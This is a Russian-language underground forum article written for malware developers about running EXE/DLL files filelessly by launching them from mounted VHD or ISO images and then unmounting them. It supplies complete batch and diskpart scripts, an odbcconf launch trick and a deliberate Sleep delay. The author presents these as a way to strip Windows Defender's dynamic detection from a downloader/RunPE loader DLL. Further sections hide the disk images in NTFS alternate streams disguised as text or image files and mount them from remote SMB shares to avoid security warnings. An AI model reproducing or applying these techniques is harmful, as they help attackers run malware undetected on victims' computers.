What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Новый метод бесфайлового запуска исполняемых файлов и его применение для чистки от динамических детектов.

it_solutions

Light Weight
Депозит
$0
Автор: it_solutions
Специально для форума .IS

Новый метод бесфайлового запуска исполняемых файлов.

В данной статье будет рассмотрен новый, ранее нигде не упомянутый метод бесфайлого запуска исполняемых файлов через VHD и ISO контейнеры.
Будет рассмотрен весь путь полностью от POC кода, работающего в командной строке Windows, до полноценной реализации на WinAPI.
В конечном итоге получим компактный EXE в несколько килобайт размером, написанный на C++, который запускает файл заданный в командной строке таким образом, что он будет присутствовать только в памяти компьютера. Но на жёстком диске самого EXE файла после запуска не будет.
Кроме того, данная статья будет интересна тем, кто хочет разобраться в API для работы с виртуальными образами дисков (ISO и VHD) файла.
Так же будет рассмотрен пример чистки DLL файла от динамического детекта на Windows Defender, примененив новый метод бесфайлового запуска и скомбинировав его с другими ранее известными способами устранения детектов.
Здесь вы найдёте краткие примеры с очень подробными комментариями: как создать виртуальный диск в Windows, как смонтировать/размонтировать в системе и т.д.
Примеры будут для командной строки Windows, на Powershell, и на C++.

Эта статья как на тему уязвимостей, так и на тему разработки малвари.
С одной стороны, здесь речь идёт об уязвимостях файловой системы, и дано описание новой, ранее нигде не опубликованной уязвимости, позволяющей делать бесфайловый запуск и маскировать EXE/DLL файлы в системе.
С другой стороны, здесь много практического материала на тему чистки динамических детектов путём прописывания в свойства процессов заведомо неправильных путей к файловым образам.
Поэтому, эта статья больше подходит для темы MALDEV, и публикуется в данном разделе форума.

Краткое содержание статьи:

1. Найден новый способ бесфайлового запуска EXE/DLL, подробно разбираем его. POC код в виде батника можно скачать в приатаченном к статье файле: fileless_exe_via_vhd_poc_code.zip

2. У этого нового способа выяснилась полезная подробность - у процессов запущенных таким способом в их свойствах будет присутствовать некоррекктная информация (неправильные пути, хэндлы и т.д.)
А так же, попутно, нашлось много других способов прописать в свойства процесса неправильный путь к его образу на диске. Все они разобраны в данной статье.

3. Антивирус, наткнувшись на такой аномальный объект, попросту пропускает его и не проверяет дальше => нет динамического детекта. Так же, антивирусу можно подсунуть заведомо чистый файл.
Со всеми валидными подписями и чексумами, или файл присутствующей в базе заведомо безопасных объектов. Например, любой исполняемый файл из системной папки виндовс.

Новый метод бесфайлового запуска процессов

Первоначально было обнаружено странное поведение запущенных файлов, если запуск происходил с сетевого диска или с webdav.
Сначала подключаем диск с webdav такой командой:

Код: Скопировать в буфер обмена
cmd /c net use r: https://webdav/ password /user:login /persistent:yes

Здесь https://webdav/ - это адрес webdav ресурса, login - логин пользователя, password - его пароль.
Параметр persistence:yes указывает на постоянное соединение, и автоматическое подключение диска после перезагрузки.
Параметр "R:" указывает букву подключаемого сетевого диска.

После подключения диска этой командой запукаем любой EXE файл оттуда. Файл не должен завершать работу сразу после запуска, а выводить, например, окно и ждать каких-либо действий от пользователя.
Для этого я использовал файл putty.exe - стандартный файл для подобных тестов.
И после того как мы запустили putty.exe мы сразу же отсоединяем сетевой диск, введя в комндной строке следующую команду:

Код: Скопировать в буфер обмена
net use r: /delete /y

Параметр /delete размонтирует только что подключенный сетевой диск.
Параметр /y означает автоматический ответ Yes на вопрос о том, что действительно ли мы хотим отключить сетевой диск.
Параметр "R:" указывает на букву размонтируемого сетевого диска.

После выполнения этой команды из системы будет удалён диск "R:"
Но при этом запущенный файл putty.exe остаётся работоспособным, как ни в чём не бывало.
Файла в системе putty.exe нигде нет, но программа остаётся запущенной и полностью работоспособной.
Таким образом, программа putty.exe теперь работает в бесфайловом режиме.

Смотрим дальше - а что покажет task manager в свойствах процесса ?
Там будут вот такие чудеса:



Зелёным цветом здесь выделен EXE, запущенный новым бесфайловым способом, красным цветом - обычным способом.
Первое что мы видим - у файла пропадает иконка. Очевидно из-за того, что EXE файл на диске теперь отсутствует и иконку из его ресурсов считать невозможно.

Из этого наблюдения делаем следующие выводы:

1. Запускаемый бесфайловым способом EXE не должен использовать ресурсы, которые хранятся в его EXEшнике. Данные должны храниться не в ресурсах, а каким-то другим способом. Например, в секции .data EXEшника.

2. Ошибка обработки какого-то события делается, как правило, наиболее простым и топорным действием - пропуск обработки этого объекта и выставление значения по-умолчанию (в данном случае - выставляется значок пустой иконки и не выдаётся асолютно никакой информации об внештатной ситуации).
Дальше в этой статье будет показано, что AV реагируют на всё это ровно таким же способом.

3. Цифровая подпись, она так же как и иконка хранится внутри EXE. Отсюда идея - вполне возможно описанным выше способом создать такую ситуацию, что в EXE как бы есть подпись от microsoft, но прочитать её не получается.
И вполне может оказаться так, что из-за ошибки такой файл будет считаться подписанным. Пока над этой темой ведётся работа - сравниваю EXE с валидной подписью и с заведомо неправильной, запуская их обычным способом и бесфайловым.

Для всех файлов, запущенных таким способом, текущей папкой процесса будет являться корневая папка операционной системы, в данном случае это папка C:\WINDOWS
Подобно тому. как таск менеджер не сумев прочитать иконку из ресурсов EXE поставил иконку по умолчанию, так же он прописывает и путь по умолчанию C:\WINDOWS, лишь бы в пути была не пустая строка.
Под Windows 7 в свойствах файла test.exe будут отображаться пустые значения. При нажатии вкладки "открыть текущую папку файла" откроется папка C:\WINDOWS
Под Windows 10 эти пункты меню просто перестают работать. При попытке нажатия на них попросту ничего не происходит.

Убираем этим способом динамический детект у простейшего лоадера в DLL формате

Берём простейший лоадер в DLL формате, который скачивает и запускает из памяти exe файл методом RunPE
Если мы подключим webdav папку в виде диска а коммандой net use и попытаемся запустить его следующей командой:

Код: Скопировать в буфер обмена
regsvr32 \\webdav_path_or_ip_address\test.dll

В этом случае будет детект.
Ищем причину - а на что именно реагирует антивирус ?
Делаем в самом начале лоадера паузу на 30 секунд, вызвав Win API Sleep

Код: Скопировать в буфер обмена
Sleep(30000)

WinAPI Sleep отмеривает время в миллисекундах, поэтому в её параметре передаём значение 30000
После запуска лоадера в котором есть 30-ти секундная задержка мы полчаем динамический детект только через 30 секунд.
Следовательно, это поведенческий детект только на скачивание файла.
Попытаемся этот детект убрать, используя только что открытый нами способ бесфайлового запуска EXE.
Для этого пишем батник, который подсоединяет удалённую webdav папку в виде сетевого диска, запускает оттуда DLL, и отсоединяет сетевой диск.
Батник этот будет выглядеть так:

Код: Скопировать в буфер обмена
Code:
cmd /c net use r: https://x.x.x.x/ password /user:login /persistent:yes
regsvr r:\test.dll
net use r: /delete /y

Всё равно получаем детекты, и предполагаем что это из-за того, что используем стандартный и сильно распространённый способ запуска DLL - через команду regsvr32
Пробуем другие варианты запуска и в результате находим способ на котором нет детекта - это способ запуска DLL через утилиту odbcconf
Выглядит эта команда так:

Код: Скопировать в буфер обмена
start odbcconf /s /a {regsvr \\webdav_path\test.dll}

В конечном итоге, батник будет выглядеть так:

Код: Скопировать в буфер обмена
Code:
cmd /c net use r: https://x.x.x.x/ password /user:login /persistent:yes
start odbcconf /s /a {regsvr \\webdav_path\test.dll}
net use r: /delete /y

DLL, запущенную таким способом, windows defender уже не видит.
В результате мы почистили этот лоадер в формате DLL от динамического детекта !

Важный момент - если в лоадере не поставить паузу, то детект не уберётся.
Лоадер должен дождаться момента, когда будет отсоединён сетевой диск, после чего в свойствах этой DLL будут прописаны кривые пути.
И дефендер, наткнувшись на такой нестандартный объект, пропустит его проверку. Так как в нём не предусмотрена обработка данной нестандартной ситуации.
Так же пробовал проделать всю эту последовательность действий с тем же лоадером, но в EXE формате. В этом случае детект не убрался. То есть значение имеет и формат исполняемого файла.
В результате полчается, что динамический детект мы убрали не каким-то одним конкретным способом, но сочетанием способов.

1. Мы использовали новый бесфайловый метод запуска исполняемых файлов
2. Мы сделали паузу в 30 секунд перед скачиванием файла.
3. Мы использовали формат DLL
3. Мы использовали нестандартную команду запуска DLL файла

Причина, почему у windows defender пропадает детект скорее всего заключается в том, что при сканировании запущенных процессов он натыкается на некорректную информацию (в первую очередь кривые пути к файлу).
И, обнаружив ошибку, попросту пропускает этот процесс.
Также возможно то, что кроме путей портятся и другие аттрибуты процесса, например его хендлы. И по этой причине дефендер не может его открыть.
Но все эти повреждения никак не затрагивают работу исполняемых файлов - они продолжают работать как ни в чём не бывало.

Развиваем идею дальше - обходимся без webdav хостинга и сетевого диска

Предыдущий способ крайне неудобен и отличается большой заметностью, из-за наличия сетевой активности при обмене данными с webdav хостингом.
Поэтому нужно найти способ, который работает без использования сетевых ресурсов.

Первый очевидный способ обойтись без сетевых ресурсов это проделать всё это с помощью флешки.
Копируем EXE она флешку, запукаем EXE оттуда, вынимаем флешку, видим что EXE работает.
То есть добились того же эффекта как и с webdav - EXE запущен, но файла на компе теперь нигде нет.
Идём дальше, ищем способ как теперь обойтись без флешки.

Такой способ был найден при использовании программы TrueCrypt.
Открываем в программе TrueCrypt диск, кладём туда EXE и запускаем его.
После чего сразу же выключаем TrueCrypt или отсоединяем в нём диск.
Эффект получается тот же самый, что и в способе с флешкой и с webdav.

Теперь нам нужно сделать то же самое, что мы сделали с тру криптом, но используя только штатные средства windows. Без использования стороннего программного обеспечения.
Сделать это можно монтируя в систему VHD и ISO файлы, поддержка которых есть в любой windows, начиная с windows 7
ISO файлы - это файлы образов компакт дисков.
VHD файлы - это образы виртуальных дисков Windows. Используются, например, в виртуальных машинах. Можно их так же использовать как виртуальную флешку и т.д.
Главное в том, что ISO и VHD файлы можно смонтировать как отдельный диск штатными средствами windows, и ими же его и размонтировать.
И поместив туда EXE файл добиться того же эффекта, которого мы только что добились используя true crypt, то есть бесфайлового режима работы exe файла.

Для начала создадим VHD файл, с которым мы будем производить все эти действия по бесфайловому запуску EXE и DLL.
Это можно сделать двумя способами.

Первый способ - сделать это через графический интеррфейс Windows.

Второй способ - сделать это через командную строку. Второй способ более предпочтительный, так как с ним возможно осуществить автоматизацию через BAT/CMD файлы.
Через командную строку VHD файлы создаются с помощью встроенной в windows утилиты diskpart.
Утилита diskpart это средство управления дисками, как физическими так и виртуальными.
С помощью неё делают разметку, форматирование, разбиение на разделы (что отражено в названии утилиты: Disk Partition - разделы диска) и иногие другие низкоуровневые операции.
Утилита diskpart представляет собой интерфейс командной строки и обладает мощной системой команд для работы с дисками.
Нас сейчас, прежде всего, интересует команда create, с помощью которой мы создадим файл виртуального диска.
Итак, вводим в консоли команду diskpart и в появившемся интерфейсе командной строки вводим следующую команду:

Код: Скопировать в буфер обмена
create vdisk file=C:\TESTVHD\test.vhd maximum=3

Параметр vdisk задаёт тип создаваемого диска - виртуальный диск в формате VHD файла.
В параметре file указываем полный путь к VHD файлу (на краткий путь diskpart выдаст ошибку).
Параметр maximum задаёт максимальный размер диска в мегабайтах, 3 мегабайта это самый минимально возможный размер. Если поставить значение меньше трёх, то diskpart выдаст ошибку invalid parameter.
Для наших целей трёх мегабайт хватит с избытком - нам всего лишь нужно место под EXE или DLL файл и больше ничего другого.
Данный тип файлов можно подключать к виртуалке Virtual PC от Microsoft, это стандартный формат виртуальных дисков для этой виртуалки.

Далее делаем операцию выбора текущего виртуального диска, делаем это следующей командой:

Код: Скопировать в буфер обмена
select vdisk file=C:\TESTVHD\test.vhd

Здесь в параметре file опять указываем полный путь. Просто указать файл test.vhd не получится, diskpart его из текущей папки не прочтёт и выдаст ошибку.
Далее выполняем команду подключения виртуального диска к системе:

Код: Скопировать в буфер обмена
attach vdisk

После выполнения этой команды диск будет поключен к системе и ему будет назначена буква, как правило следующая за последним диском в системе.
После этой команды с VHD файлом можно работать как с обычным диском. Можно копировать, удалять, запускать файлы.
Следующим нашим шагом будет копирование на диск EXE/DLL файла и его запуск.
И после того как стартовал файл сразу же делаем операцию отсоединения этого диска от системы.
Делается это следующим образом:

Код: Скопировать в буфер обмена
detach vdisk

После выполения этой команды диск будет размонтирован и удалён из системы. Но при этом наш EXE, который мы только что запустили оттуда, остался работать как ни в чём не бывало.
Теперь переходим к автоматизации этих действий, и напишем BAT файл, который подключит VHD диск в систему, запустит с него EXE, и отключит диск от системы.
Для этого нам прежде всего понадобится рассмотреть скриптовый режим работы утилиты diskpart
Diskpart, подобно командному процессору, работает в виде командной строки. Но она имеет и второе сходство с командным процессором - пакетную обработку своих команд, объединённых в один файл.
Все те команды, которые мы только что вводили в командной строке diskpart, мы можем разместить в отдельном файле и передать его на выполнение утилите diskpart
Diskpart выполнит последовательно все эти команды одну за одной.
Передача скрипта с командами утилите diskpart выглядит так:

Код: Скопировать в буфер обмена
diskpart.exe /s С:\TESTVHD\diskpart_script

Параметр /s обозначает скриптовый режим работы. После него указывается полный путь к файлу, содержащему команды. Расширение файла любое, либо его можно вообще не указывать.
Из BAT/CMD файла этот скрипт можно создать с помощью команд echo и символов перенаправления ввода-вывода в файл.
Делается это так:

Код: Скопировать в буфер обмена
Code:
echo select vdisk file=C:\TESTVHD\test.vhd>C:\TESTVHD\diskpart_script
echo attach vdisk>C:\TESTVHD\diskpart_script

Все файла, как VHD так и файлы со скриптами для diskpart, будут лежать в текущей папке. Поэтому BAT/CMD файл должен сам определять текущую папку, из которой он запущен.
В командном процессоре Windows есть встроенная переменная %CD% (сокращение от Current Directory, текущая директория), в которой содержится полный путь к папке, из которой был запущен пакетный файл.
Поэтому, во всех тех местах где мы прописывали полный путь мы его заменяем строкой %CD%, в результате туда автоматически будет подставляться путь к текущей папке.
Этот способ более универсальный, он избавляет нас от постоянного прописывания путей, уменьшает вероятность ошибки неправильного прописывания путей к файлам.
Теперь код генерирования скрипта из BAT/CMD файла будет выглядеть так:

Код: Скопировать в буфер обмена
Code:
echo select vdisk file=%CD%\test.vhd>%CD%\diskpart_script
echo attach vdisk>%CD%\diskpart_script

Обязательно после строки %CD% нужно добавлять символ разделения имён каталогов "\". Потому что переменная %CD% содержит в себе путь без этого символа в конце.
Скрипт для удаления VHD диска из системы выглядит аналогично:

Код: Скопировать в буфер обмена
Code:
echo select vdisk file=%CD%\test.vhd>%CD%\detach_script
echo detach vdisk>>%CD%\detach_script

Запуск скриптов diskpart с автоматическим определением текущей папки будет выглядеть так:

Код: Скопировать в буфер обмена
diskpart.exe/s %CD%\diskpart_script

Есть два варианта назначения логической буквы диска - ручное и автоматическое. Ручное назначение буквы диска мы делаем слеюующей diskpart команой:

Код: Скопировать в буфер обмена
assign letter R

Ручной способ назначения буквы диска плох тем, что мы заранее не знаем какие диски есть в системе и можем не угадать и попасть на уже используемую букву диска.
Способ ручного назначения буквы диска применим тогда, когда мы точно знаем какие буквы дисков не используются в системе.
В остальных случаях мы должны работать с автоматическим назначением буквы дисковода.
Автоматическое присваивание буквы диску diskpart делает в том случае, если не было применено ручное назначение. То есть если не была выолнена команда "assign letter".
Так же можно использовать в качестве имён дисков зарезервированные под дисководы буквы A и B, и виртуальный диск будет вполне нормально монтироваться на эти буквы.
На большинстве современных компов эти буквы пустуют, но иногда этими буквами может обозначаться какое-нибудь запоминающее устройство, типа картридера или стримера.

После того как VHD диск будет смонтирован в систему ему будет назначена буква (если мы не пользовались командой назначения буквы диска assign letter), которая выбирается системой автоматически и, как правило, равна следующей за последней буквой последнего диска в системе.
Нам эта буква будет неизвестна, поэтому нам нужен способ запуска файла из корневой папки диска при условии что текущий диск неизвестен.
Делается это путём последовательного перебора всех возможныж путей к нашему файлу в системе, то есть перебрать все диски начиная с диска D и заканчивая диском Z.
Диски с A по C перебирать бессмысленно, так как A и B не используются на современных компах, а диск C это первый жёсткий диск в системе и он заведомо не может быть назначен буквой подключенного VHD диска.
Минимально возможная буква приаттаченного диска это буква D, поэтому с неё мы и начинаем последовательный перебор варимантов.
Попытка запуска нашего EXE файла с каждого диска будет выглядеть так:

Код: Скопировать в буфер обмена
if exist d:/testexe.exe start d:/testexe.exe

Командой if exist мы проверяем наличие файла test.exe в корневой папке, и если команда if exist выдаст результат true то командой start запускатеся этот файл.
Такую команду вызываем 23 раза, для каждой буквы для диапазона букв [D-Z], пока не наткнёмся на на VHD диск с exe файлом.
В батнике просто их пишем построчно, одну за другой.

Так же стоит отметить, что для diskpart не важно расширение файла, поэтому вместо файла "1.vhd" можно использовать имя "1".
Или, например, можно файл 1.VHD переименовать в 1.AVI или 1.JPG, для маскировки - такой вариант то же будет работать.
Способ с переименованием применим только на Windows 7, на Windows 10 уже требуется обязательное наличие расширения ".vhd" у имён файлов виртуальных дисков.

Объединив всё вышенаписанное в один скрипт, мы получаем такой BAT файл:

Код: Скопировать в буфер обмена
Code:
echo select vdisk file=%CD%\1.vhd>%CD%\m
echo attach vdisk>>%CD%\m

echo select vdisk file=%CD%\1.vhd>%CD%\u
echo detach vdisk>>%CD%\u

diskpart.exe/s %CD%\m
timeout/t 1

if exist d:/test.exe start d:/test
if exist e:/test.exe start e:/test
if exist f:/test.exe start f:/test
if exist g:/test.exe start g:/test
if exist h:/test.exe start h:/test
if exist i:/test.exe start i:/test
if exist j:/test.exe start j:/test
if exist k:/test.exe start k:/test
if exist l:/test.exe start l:/test
if exist m:/test.exe start m:/test
if exist n:/test.exe start n:/test
if exist o:/test.exe start o:/test
if exist p:/test.exe start p:/test
if exist q:/test.exe start q:/test
if exist r:/test.exe start r:/test
if exist s:/test.exe start s:/test
if exist t:/test.exe start t:/test
if exist u:/test.exe start u:/test
if exist v:/test.exe start v:/test
if exist w:/test.exe start w:/test
if exist x:/test.exe start x:/test
if exist y:/test.exe start y:/test
if exist z:/test.exe start z:/test

diskpart.exe/s %CD%\u
del %CD%\m,%CD%\u

Первые четыре команды это задание diskpart-скриптов в текущей папке.
Сразу же за ними идёт команда запуска первого скрипта с именем файла "m". В нём прописаны команды подключения в систему VHD диска.
Затем выжидаем паузу в одну секунду - ждём когда диск смонтируется в систему. Делаем это с помощью команды timeout, которая предназначена для организации пауз и задержек в пакетных файлах windows.
После того как VHD диск смонтируется в систему начинаем последовательный перебор вариантов путей расположения нашего EXE файла, перебирая все диски подряд и пытаясь запустить на них наш EXE.
После того как EXE запущен, запускаем только что сгенерированный diskpart-скрипт, который отсоединит EXE файл от системы.
В завершении стираем diskpart скрипты, перечислив их в команде del через запятую.
Так же стоит обратить внимание на остуствие пробелов между командами и параметрами при вызове diskpart и timeout

Код: Скопировать в буфер обмена
Code:
diskpart.exe/s %CD%\m
timeout/t 1

Это не опечатка, так можно писать для краткости. Система прекасно распознаёт такую запись команд.
Готовый POC код лежит в приаттаченном файле hide_exe_exploit_vhd.zip

Diskpart и файловые потоки NTFS

В процессе работы над батником выяснилось, что если дискпарту передать имя в формате файлового потока, то он оттуда спокойно смонтируем VHD диск.
Главное чтобы расширение у файлов потока осталось неизменным. Имя файла должно выглядеть примерно так:

Код: Скопировать в буфер обмена
1.txt:disk.vhd

В файле 1.txt пишем какой-нибудь текст. Или вместо 1.txt имя файла 1.jpg и помещаем туда картинку, в проводнике откроется именно картинка.
Проводник, все файловые менеджеры, большинство штатных средств Winodws, а так же некоторые антивирусы (но не топовые) полностью игнорируют NTFS потоки, приписанные к файлу.
Приписать VHD файл в виде NTFS потока к файлу 1.txt удобнее всего через программу Far Manager с установленным плагином для NTFS потоков.
В фар менеджере нажимаем Enter на файле 1.txt и заходим в него словно в отдельный каталог. Тоько в отличие от каталога файлами в нём будут выступать NTFS потоки.
Далее через кнопку F5 копируем файл с VHD диском в открытый через NTFS плагин файл 1.txt

После этого в нашем батнике мы вместо имени диска 1.vhd используем имя 1.txt:1.vhd
Открыв папку с эксплоитом, например, в проводнике, мы никаким способом не сможем найти там VHD файл.
При открытии файла 1.txt мы увидим всего лишь обычный текстовый файл.
Итак, мы получили дополнительный способ маскировки временных VHD/ISO файлов - через использование NTFS потоков.
Увидеть что в файле 1.txt спрятан VHD файл в виде NTFS потока можно только специализированными сребствами Windows, например следующей командой:

Код: Скопировать в буфер обмена
dir /R

Команда DIR это команда печати содержимого текущего каталога, параметр /R указывает на то, что файлы должны отображаться с присоединённми к ним NTFS потоками.
Вывод этой команды будет выглядеть так:



На рисунке зелёным цветом обведён VHD файл, скопированный в отдельный NTFS поток.
Копирование осуществляем с помощью NTFS плагина для Far Manager.
С этим плагином файл 1.txt отображается в фар менеджере как каталог, отдельными файлами которого являются NTFS потоки этого файла.

Прописывание невалидного пути в свойства процесса баз операции размонтирования диска

Может возникнуть ситуация, когда нам нельзя сделать размонтирование диска.
В этом случае можно применить способ записи невалидного пути в свойства процесса через переименование логической буквы дисковода.
Делается это так: монтируем VHD/ISO файл способом только что рассмотренным выше, и назначаем диску определённую букву, например "R'.
Запускаем со смонтированного диска наш EXE/DLL файл.
Далее в командной строке diskpart делаем переименование дисковода командой "assign letter R"
Путь в свойствах запущенного EXE/DLL файла будет указывать на "R:\testfile.exe", то есть на несуществующий диск.
То есть через переименование буквы дисковода можно добиться того же эффекта, что и с размонтированием диска.

Монтирование VHD/ISO диска с удалённой SMB папки. Обход на предупреждение о небезопасном содержимом при запуске EXE файлы с SMB

Если мы попытаемся запустить EXE файл с удалённой расшаренной папки, то сразу же получим оповещение от системы безопасности Windows:



Поэтому на нужны обходные пути, и сделать это можно при помощи удалённого монтирования VHD диска.
Утилита Diskpart умеет работать с образами виртуальных дисков, размещенных в расшаренных папках на других компах.
Разместив VHD диск в удалённой папке и указав к нему UNC путь мы можеи с ним работать точно так же, как и с локальными файлами.
Для успешного монтирования удалённой папки на ней должны быть прописаны разрешения как минимум на чтение и запись (на запуск необязательно).
Не прописанное разрешение на запуск в расшаренной папке никак не повлияет на права в смонтированном диске - файлы с него всё равно будут запускаться.
Для успешной настройки лучше сначала в правах расшаренной папке указать полный доступ, и уже потом экспериментировать с выставлением нужных прав доступа.
Единственное необходимое изменение в созданном нами BAT файле это прописывание UNC пути к VHD файлу, вместо локального пути:

Код: Скопировать в буфер обмена
Code:
echo select vdisk file=\\x.x.x.x\1.vhd>%CD%\m
echo attach vdisk>>%CD%\m

echo select vdisk file=\\x.x.x.x\1.vhd>%CD%\u
echo detach vdisk>>%CD%\u

Здесь x.x.x.x обозначает IP адрес сервера с расшаренной папкой.
При монтировании диска будет некоторая пауза, так как образ диска будет скачиваться с сервера утилитой diskpart.
Поэтому VHD диск нужно делать как можно меньшего размера (минимальный размер равен 3 мегабайта).

Так же путь \\x.x.x.x\1.vhd можно смонтировать как сетевой диск, либо в меню в проводнике, либо в батнике командой subst. Команда subst так же рассмотрена в данной статье.
При варианте с монтированием с сетевым диском можно получить ещё большее нужное нам запутывание путей - виртуальный диск хранится внутри другого (сетевого) диска.

После этого в системе так же как и в прошлый раз откроется дополнительный диск, батник на нём найдёт и запустит наш EXE файл и размонтирует диск.
Так же получится EXE, запущенным бесфайловым способом.
Этот метод выгодно отличается от предыдущего тем, что на диске не остаётся следов запуска в виде VHD файла.
Да, после завершения мы можем удалить VHD файл комадой del.
Но особенность удаления файлов в Windows состоит в том, что в системе NTFS не происходит физического удаления файла.
В файловой системе на записи файла просто ставится пометка, о том что данная запись удалена и место занимаемое файлом свободно. Но содержимое файла там остаётся.
На этом основана работа утилит по восстановлению ошибочно удалённых файлов.
Антивирусы то же прекрасно могут сканировать удалённые файлы, как бы это парадоксально не звучало.
Они просматривают все записи в файловой системе подряд, игнорирую пометку в записях об удалённом файле.
Раньше хорошо работал такой метод - хранить данные в стёртом файле (например логи собранные малварью), а при отсылке восстанавливать файл из удалённого. На данный момент этот метод давно не работает.
Кроме того, файловой система NTFS это система с журналированием, в ней записывается вся информациях о произведенных файловых операциях - чтение, запуск, удаление и т.д.
Пишется время операций, автоматически делаются резервные копии.
Может быть такой эффект - копируем на NTFS диск EXE файл, запускаем его и удаляем. Открываем этот диск в HEX редакторе и вводим в поиск первые байты этого EXE файла.
В результате можем найти даже не одну, а 2-3 копии этого файла. NTFS часто делает такие автоматические копии файлов в невидимые области файловой системы.
Кроме того, в Windows есть механизм shadow copy, который автоматически делает резервные копии файлов, он работает поверх файловой системы NTFS и является дополнением к скрытым резервным копиям NTFS.

Отсюда следуют две важные вещи:

1. Нельзя незаметно сделать какие-либо файловые операции на файловой системе NTFS - следы где-то да останутся.

2. Из-за этих особенностей файловой системы NTFS происходит огромный процент несрабатывания локеров.
Просто рекурсивно пройтись по всем файлам на диске и зашифровать их - такой метод не сработает, обязательно где-то останется резервная автоматическая копия, сбросятся какие-то данные во временный файл, данные останутся в файле подкачки pagefile.sys и т.д.
На этом в своё время разбогатели конторы по восстановлению данных, которые восстанавливали диски после локеров.

Ограничения для EXE/DLL файлов, которые запускаются бесфайловым методом через монтирование/размонтирование виртуальных VHD дисков

Не все EXE сохранят работоспособность при использовании этого метода. Прежде всего, не будут работать те программы, которые таскают с собой DLL и подгружают их из текущей папки.
После размонтирования виртуального диска эти DLL исчезнут и EXE их подгрузить не сможет.
Так же не будут работать EXE, содержащие в себе оверлеи.
Оверлей это часть программы, которая не присутствует в памяти запущенной программы, но она есть внутри файла программы на диске (как правило в конце файла).
Есть много видов малвари, которые хранят свои настройки в оверлее.
Из широко известной и старой малвари это были, например, цитадель и зевс. Они хранили блок настроек примерно в 2 килобайта размером в конце файла.
И эта область не попадала в поле Image Size в PE заголовке файла, поэтому в памяти запущенного процесса не присутствовала.
Обе эти малвари после запуска определяли путь к EXE файлу, к которому они запущены, и читали с конца файла этот оверлей со своими настройками.
Это делалось для удобства сборки билдов - при записи оверлея с настройками в самой структуре EXE файла не нужно было делать никаких изменений, оверлей с настройками просто копировался в конец файла.
Это избавляло от возможного повреждения exe файла при записи в него настроек билда.
Но при старте рассматриваемым нами бесфайловым методом малвари содержащие оверлеи работать не будут. Так как файл на диске будет отсутстовать, оверлей из него они прочитать не смогут.
Так же не будут работать EXE, которые удаляют себя после запуска и после этого копируют себя в какую-то незаметную папку.
Они то же будут выдавать ошибку, по той причине что будут пытаться удалить несуществующий файл.

Краткое отступление от темы: VHD файлы и эксплоит для виртуальной машины Virtual PC

Ранее я публиковал zero day уязвимость в виртуальных машинах. заключающуюся в записи в автозагрузку исполняемых файлов, пробрасывая их через COM/LPT порты из гостевой системы в хостовую.
В частности, был сделан полноценный эксплоит под VMWare, запускающий произвольные EXE и DLL файлы, подробное описание эксплоита и статья на эту тему здесь:


На рисунке красным цветом обведён загрузочный сектор, находящийся в самом начале VHD файла. Зелёным цветом обведена сигнатура бутлоадера - 0x55 0xAA
Тема загрузочных секторов и бутлоадеров было подробно разобрана в предыдущей статье о VMWare эксплоите.

Здесь ситуация даже проще чем с VMWare, VHD файлы устроены проще чем виртуальные диски VMWare.
С самого начала идёт raw образ диска, а вся метаинформация пишется в конец файла.
Нам не нужно искать смещение загрузочного сектора в файле, как мы это делали для дисков VMWare, здесь мы просто пишем бутлоадер в самое начало файла.
Бутлоадер из статьи под VMWare прекрасно подойдёт для VHD дисков под Virtual PC, с минмальными изменениями.

Тот бутлоадер, который использовался под VMWare, подойдёт и для виртуальных дисков VHD. В нём не придётся делать вообще никаких изменений, либо изменения будут минимальными.

Использование ISO файлов для бесфайлового метода EXE

Этот способ сильно уступает методу с VHD файлами, по той причине что в базовой поставке Windows не средств для работы с ISO файлами из командной строки либо из пакетных файлов.
Поэтому ISO файл с предварительно записанным на нём EXE придётся таскать с собой, сбразывая его перед использованием в папку %TEMP% и удаляя его оттуда после отработки.
ISO файл с единственным записанным на нём EXE файлом будет ненамного больше самого EXE файла, поэтому дополнительное увеличение размера за счёт ISO файла не будет критичным.
К тому же ISO файлы хорошо сжимаются, из-за того что там много повторяющихся последовательностей нулей.
На сайте microsoft описан способ работы с ISO файлами из командной строки с помощью утилиты Oscdimg.
Но эта утилита поставляется только в пакете Windows Assesment Kit, и в стандартной поставке Widnows она будет отсутствовать.
Поэтому для сборки ISO файла скачиваем её отдельно.
Чтобы собрать ISO файл с помощью этой утилиты запускаем её так:

Код: Скопировать в буфер обмена
oscdimg FOLDER_WITH_ISO_CONTENT test.iso

FOLDER_WITH_ISO_CONTENT - это папка, в которой хранятся файлы, которые будут помещены на ISO-диск
test.iso - имя ISO файла, в который будет помещено содержимое этой папки.

Монтируются ISO диски в систему стандартными средствами Powershel.
Для того чтобы смонтировать ISO-образ, в командной строке набираем:

Код: Скопировать в буфер обмена
powershell Mount-Diskimage C:\TESTISO\test.iso

После этого копируем на ISO образ наш EXE/DLL файл, запускаем его оттуда, и делаем размонтирование образа командой:

Код: Скопировать в буфер обмена
powershell Dismount-Diskimage C:\TESTISO\aaa.iso

После отсоединения ISO образа от системы наблюдаем тот же эффект как и с VHD файлами: файл остаётся запущенным и полностью работоспособным, но в таскменеджере перестаёт работать вкладка информации оп процессе и не работает меню "открыть место запуска файла".
Для VHD файлов команда Mount-DiskImage используется аналогично - в параметрах команды происывается полный путь к VHD файлу.
Для VHD и ISO файлов обязательно нужно указывать расширение, так как команда Mount-DiskImage определяет тип диск не по структуре, а по расширению.

Отдельно стоит упомянуть файлы с расширением *.IMG
На самом деле это те же ISO файлы, но с другим расширением.
Например, переименуем файл test.iso в tesi.img и откроем его в проводнике - результат будет тем же самым, что и c ISO файлом.
У обоих этих типов файлов (ISO и IMG) в реестре прописан одинаковый контент тайп: Windows.IsoFile
И, поэтому, обрабатыватся эти два типа файлов совершенно одинаково.
Все утилиты виндовс и команды powershell нормально воспринимают файлы с раширением *.img, и обрабатывают их как *.iso
Эта особеноcть важна в том случае, если по какой-то причине нельзя использовать файлы с расширением *.iso

Powershell команда Mount-DiskImage и NTFS потоки

Командлет Mount-Diskimage так же работает и с NTFS потоками, что позволяет замаскировать наш VHD файл с пейлоадом.
Копируем в дополнительный файл 1.txt наш VHD и ISO файл, имя NTFS потока при этом будет 1.txt:1.vhd

У NTFS потока важно поставить правильное расширение, VHD или ISO, по нему командлет Mount-Diskimage будет определять тип виртуального диска.
В самом файле 1.txt пишем произвольный текст. В проводнике и во всех файловых менеджерах замаскированный таким способом виртуальный диск будет выглядеть как безопасный txt файл.
Но дополнительный файловый поток с виртуальным диском, прикреплённый к файлу 1.txt, будет труднообнаруживаемым.
